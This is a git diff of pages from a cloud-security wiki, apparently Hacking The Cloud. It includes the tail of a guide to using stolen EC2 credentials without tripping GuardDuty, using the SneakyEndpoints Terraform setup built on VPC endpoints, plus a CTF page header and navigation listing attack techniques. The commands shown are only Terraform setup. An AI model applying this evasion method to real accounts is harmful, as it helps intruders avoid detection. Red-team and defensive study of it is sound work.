credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.</p> </div> <h2 id=sneakyendpoints>SneakyEndpoints<a class=headerlink href=#sneakyendpoints title="Permanent link">&para;</a></h2> <p>To make this setup faster/easier for Penetration Testers and Red Teamers, <a href=https://github.com/Frichetten/SneakyEndpoints>SneakyEndpoints</a> was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.</p> <h2 id=setup-and-usage>Setup and Usage<a class=headerlink href=#setup-and-usage title="Permanent link">&para;</a></h2> <p>To use SneakyEndpoints first install <a href=https://www.terraform.io/ >Terraform</a> and set AWS credentials within your shell session. </p> <p>Next, perform the following Terraform commands:</p> <div class=highlight><pre><span></span><code>terraform<span class=w> </span>init
 terraform<span class=w> </span>apply
 </code></pre></div> <p>Before continuing Terraform will ask you to confirm the deployment. After that, way ~10 minutes for everything to be done. Please note that after the deployment is finished it may take a short period of time for the EC2 instance to be connectable.</p> <p>After this period of time, connect to the EC2 instance using the <a href=https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager.html>AWS Systems Manager Session Manager</a>.</p> <p>To teardown the infrastructure, run the following command:</p> <div class=highlight><pre><span></span><code>terraform<span class=w> </span>destroy
 </code></pre></div> <h2 id=using-sts>Using STS<a class=headerlink href=#using-sts title="Permanent link">&para;</a></h2> <p>Due to a <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_sts_vpce.html#id_credentials_sts_vpce_create>quirk</a> in how STS is setup, you will have to set a specific environment variable with the following command.</p> <div class=highlight><pre><span></span><code><span class=nb>export</span><span class=w> </span><span class=nv>AWS_STS_REGIONAL_ENDPOINTS</span><span class=o>=</span>regional
diff --git a/aws/capture_the_flag/cicdont/index.html b/aws/capture_the_flag/cicdont/index.html
index 49e8cd6f0..9d635daa8 100644
--- a/aws/capture_the_flag/cicdont/index.html
+++ b/aws/capture_the_flag/cicdont/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An AWS/GitLab CICD themed CTF."><link href=https://hackingthe.cloud/aws/capture_the_flag/cicdont/ rel=canonical><link href=../../deprecated/whoami/ rel=prev><link href=../../../azure/abusing-managed-identities/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>CI/CDon't - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="CI/CDon't - Hacking The Cloud"><meta property=og:description content="An AWS/GitLab CICD themed CTF."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/capture_the_flag/cicdont/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="CI/CDon't - Hacking The Cloud"><meta property=twitter:description content="An AWS/GitLab CICD themed CTF."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An AWS/GitLab CICD themed CTF."><link href=https://hackingthe.cloud/aws/capture_the_flag/cicdont/ rel=canonical><link href=../../deprecated/whoami/ rel=prev><link href=../../../azure/abusing-managed-identities/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>CI/CDon't - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="CI/CDon't - Hacking The Cloud"><meta property=og:description content="An AWS/GitLab CICD themed CTF."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/capture_the_flag/cicdont/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="CI/CDon't - Hacking The Cloud"><meta property=twitter:description content="An AWS/GitLab CICD themed CTF."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#background class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> CI/CDon't </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass 